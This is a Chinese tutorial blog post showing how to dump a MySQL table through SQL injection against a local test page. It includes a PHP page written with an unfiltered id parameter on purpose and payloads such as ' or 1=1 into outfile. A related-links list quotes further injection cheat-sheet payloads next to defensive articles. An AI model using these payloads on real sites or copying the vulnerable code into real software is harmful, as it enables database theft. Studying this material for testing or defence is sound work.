利用SQL注入漏洞拖库的方法

想在本地测试的话,可以在此免积分下载:利用SQL注入漏洞拖库
同上一篇文章一样,我们需要创建数据表,并在表中出入几条数据以备测试之用。
在数据库中建立一张表:


代码如下:

CREATE TABLE `article` (
`articleid` int(11) NOT NULL AUTO_INCREMENT,
`title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',
`content` text CHARACTER SET utf8 NOT NULL,
PRIMARY KEY (`articleid`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

在表中插入数据的操作我就不贴代码了,可以去下载下来直接导入到数据库。
接下来,写一个处理用户请求的页面,这里,我们故意不过滤用户提交过来的数据,留下个SQL注入漏洞用来测试。
代码如下:


代码如下:

<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "test";
$id=$_GET['id'];//id未经过滤
$conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
mysql_select_db($dbname,$conn);
mysql_query('set names utf8');
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_query($sql,$conn);
$row = mysql_fetch_array($result);
echo "<p>利用SQL注入漏洞拖库<p>";
if (!$row){
echo "该记录不存在";
exit;
}
echo "标题<br>".$row['title']."<p>";
echo "内容<br>".$row['content']."<p>";
?>

我们直接在浏览器中输入:
http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1
即可访问article表中id为1的一条记录
访问结果如下:

接下来,我们就利用这个漏洞(不知道该漏洞的情况下,只能通过工具+手工检测),演示一下如何将article表下载下来。
在地址栏中输入:' into outfile 'e:/sql.txt'%23
分析:%23是#的ASCII码,由于在地址栏中直接输入#后到数据库系统中会变成空,需要在地址栏中输入%23,那么才会变成#,进而注释掉后面的sql语句。
运行之后,打开E盘,发现多了一个sql.txt文件,打开之后,里面就是表article中的一条记录。
为什么只有一条记录呢?难道该数据表就只有一条记录?不是这样的,因为我们只检索id为1的一条记录而已,那么能否将article表中的所有记录一次性全部下载下来呢?
答案是可以的,只要你的构造的SQL语句足够灵活(再次提出了构造SQL语句的灵活性)。
分析一下,当在URL地址栏中输入'into outfile 'e:/sql.txt'%23的时候,合并到sql查询语句中变为:
SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'
仔细分析下之后,我们可以这样子构造SQL语句:
SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'
这样的话,无论如何WHERE子句总是为真,换句话说,该sql语句等价于如下:
SELECT * FROM article into outfile 'e:/whf.txt'#'
懂了吧,该sql语句在先执行select语句,将表article中的所以内容全部检索出来,然后再执行into outfile 'e:/whf.txt'#'将内容导出来。
不信的话,你执行下……
利用SQL注入漏洞,我们可以猜测表名,列名,用户的密码长度(LEFT函数)等等,当然了,如果能直接向以上的演示那样将表中的数据全部导出的话就没必要去猜表名列名等等。
有点累了,就写到这里了。
利用SQL注入漏洞登录后台和利用SQL注入漏洞拖库是我学习了相关内容之后的一点小结,没啥深度,正如文章开头所说,权当总结,别无它意。

(0)

相关推荐

  • php中防止SQL注入的最佳解决方法

    如果用户输入的是直接插入到一个SQL语句中的查询,应用程序会很容易受到SQL注入,例如下面的例子: 复制代码 代码如下: $unsafe_variable = $_POST['user_input'];mysql_query("INSERT INTO table (column) VALUES ('" . $unsafe_variable . "')"); 这是因为用户可以输入类似VALUE"); DROP TABLE表; - ,使查询变成: 复制代码 代

  • php防止SQL注入详解及防范

    一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出).这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误.对于攻击者来说,进行SQL注入攻击需要思考和试验,对数据库方案进行有根有据的推理非常有必要(当然假设攻击者看不到你的源程序和数据库方案),考虑以下简单的登录表单: 复制代码 代码如下: <form action="/login.php" method="POST"><p>Userna

  • 整理比较全的Access SQL注入参考

    Access SQL注入参考 版本 0.2.1(最近更新 10/10/2007)原作者不详 描述 SQL查询及注释 注释符 Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"(%00)代替: ' UNION SELECT 1,1,1 FROM validTableName%00 语法错误信息 "[Microsoft][Driver ODBC Microsoft

  • PHP+MySQL 手工注入语句大全 推荐

    暴字段长度 Order by num/* 匹配字段 and 1=1 union select 1,2,3,4,5--.n/* 暴字段位置 and 1=2 union select 1,2,3,4,5-..n/* 利用内置函数暴数据库信息 version() database() user() 不用猜解可用字段暴数据库信息(有些网站不适用): and 1=2 union all select version() /* and 1=2 union all select database() /* a

  • PHP中防止SQL注入实现代码

    一. 注入式攻击的类型 可能存在许多不同类型的攻击动机,但是乍看上去,似乎存在更多的类型.这是非常真实的-如果恶意用户发现了一个能够执行多个查询的办法的话.本文后面,我们会对此作详细讨论. 如 果你的脚本正在执行一个SELECT指令,那么,攻击者可以强迫显示一个表格中的每一行记录-通过把一个例如"1=1"这样的条件注入到WHERE子句中,如下所示(其中,注入部分以粗体显示): SELECT * FROM wines WHERE variety = 'lagrein' OR 1=1;'

  • 利用SQL注入漏洞登录后台的实现方法

    早在02年,国外关于SQL注入漏洞的技术文章已经很多,而国内在05年左右才开始的. 如今,谈SQL注入漏洞是否已是明日黄花,国内大大小小的网站都已经补上漏洞.但,百密必有一疏,入侵是偶然的,但安全绝对不是必然的. 前些天,网上传得沸沸扬扬的"拖库"事件给我们敲响了安全警钟. 在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符.通常,用户可以通过以下接口调用数据库的内容:URL地址栏.登陆界面.留言板.搜索框等.这往往给骇客留下了可乘之机.轻则数据遭到泄露,重则服务器被拿下.

  • Win2003服务器防SQL注入神器--D盾_IIS防火墙

    0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防御策略,如下图,主要防御GET/POST/COOKIE,文件允许白名单设置.构造不同的测试环境,IIS+(ASP/ASPX/PHP)+(MSSQL/MYSQL),看到这边的策略,主要的测试思路: a.白名单   b.绕过union select或select from的检测 0X02 IIS+PHP+MY

  • 利用SQL注入漏洞拖库的方法

    想在本地测试的话,可以在此免积分下载:利用SQL注入漏洞拖库 同上一篇文章一样,我们需要创建数据表,并在表中出入几条数据以备测试之用. 在数据库中建立一张表: 复制代码 代码如下: CREATE TABLE `article` ( `articleid` int(11) NOT NULL AUTO_INCREMENT, `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '', `content` text CHARACTER SET

  • Java如何有效避免SQL注入漏洞的方法总结

    目录 1.简单又有效的方法是使用PreparedStatement 2.使用过滤器 防止sql注入的一些建议 总结 1.简单又有效的方法是使用PreparedStatement 采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX(如:setString)方法传值即可. 好处: (1).代码的可读性和可维护性变好. (2).PreparedStatement尽最大可能提高性能. (3).最重要的一点是极大地提高了安全性. 原理: SQL注入只对SQL语句的编译过程有破坏作用,

  • PHPCMS2008广告模板SQL注入漏洞修复

    00 漏洞描述 PHPCMS2008由于广告模块取referer不严,导致一处sql注入漏洞.可以得到管理员用户名与密码,攻击者登录后台后可能会获取webshell,对服务器进行进一步的渗透. 01 漏洞分析 漏洞产生的位置: /ads/include/ads_place.class.php的show方法中. function show($placeid) ... if($adses[0]['option']) { foreach($adses as $ads) { $contents[] =

  • 万能密码的SQL注入漏洞其PHP环境搭建及防御手段

    目录 万能密码的SQL注入漏洞其PHP环境搭建及防御手段 一.环境搭建 二.session会话 三.环境搭建代码 1.创建数据库脚本 2.登录界面html 3.查询数据库是否为正确的账号密码php代码 4.连接数据库php代码: 5.注销登录代码(即关闭session会话) 6.登录成功欢迎界面 四.万能密码漏洞剖析 五.万能密码攻击防护 1.使用正则表达式限制用户输入 2.使用PHP转义函数 3.转义函数的弊端 六.MySQLi 参数化查询 万能密码的SQL注入漏洞其PHP环境搭建及防御手段

  • SQL注入详解及防范方法

    目录 一:什么是sql注入 二:SQL注入攻击的总体思路 三:SQL注入攻击实例 四:如何防御SQL注入 1.检查变量数据类型和格式 2.过滤特殊符号 3.绑定变量,使用预编译语句 五:什么是sql预编译 1.1:预编译语句是什么 1.2:MySQL的预编译功能 (1)建表 (2)编译 (3)执行 (4)释放 六:为什么PrepareStatement可以防止sql注入 (1):为什么Statement会被sql注入 (2)为什么Preparement可以防止SQL注入. 七:mybatis是如

  • 一篇文章了解SQL注入漏洞

    目录 SQL注入漏洞原理 SQL注入内容 注入条件 SQL注释符与注入流程 SQL注入分类 SQLMap 分类 接受请求类型区分 注入数据类型的区分 SQL注入思路 手工注入思路 SQL 详细注入过程 总结 SQL注入漏洞原理 漏洞原理   web页面源代码对用户提交的参数没有做出任何过滤限制,直接扔到SQL语句中去执行,导致特殊字符改变了SQL语句原来的功能和逻辑.黑客利用此漏洞执行恶意的SQL语句,如查询数据.下载数据,写webshell.执行系统命令以此来绕过登录权限限制等. 检测方法  

  • 关于SQL注入中文件读写的方法总结

    前言 SQL注入有直接sql注入也有文件读写时的注入了我们这篇文章介绍的是SQL注入中的文件读写这一块的内容,具体的一起来看看. 一.MySQL 读文件 常见的读文件,可以用16进制代替字符串 select load_file('c:/boot.ini') select load_file(0x633a2f626f6f742e696e69) select load_file('//ecma.io/1.txt') # smb协议 select load_file('\\\\ecma.io\\1.t

  • PJBlog存在SQL注入漏洞大家要快下补丁了

    根据我们针对PJBlog进行的程序代码审计发现,PJBlog多个页面存在SQL注入漏洞,致使恶意用户可以利用注入漏洞拿到管理员帐号密码,并且进行恶意攻击. 我们强烈建议使用PJBlog的用户立刻检查一下您的系统是否受此漏洞影响,并紧密的关注PJBlog官方所发布的安全更新 官方补丁: http://bbs.pjhome.net/thread-26090-1-1.html

  • 对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析

    ThinkPHP官网上曾有一段公告指出,在ThinkPHP 3.1.3及之前的版本存在一个SQL注入漏洞,漏洞存在于ThinkPHP/Lib/Core/Model.class.php 文件 根据官方文档对"防止SQL注入"的方法解释(参考http://doc.thinkphp.cn/manual/sql_injection.html) 使用查询条件预处理可以防止SQL注入,没错,当使用如下代码时可以起到效果: $Model->where("id=%d and usern

随机推荐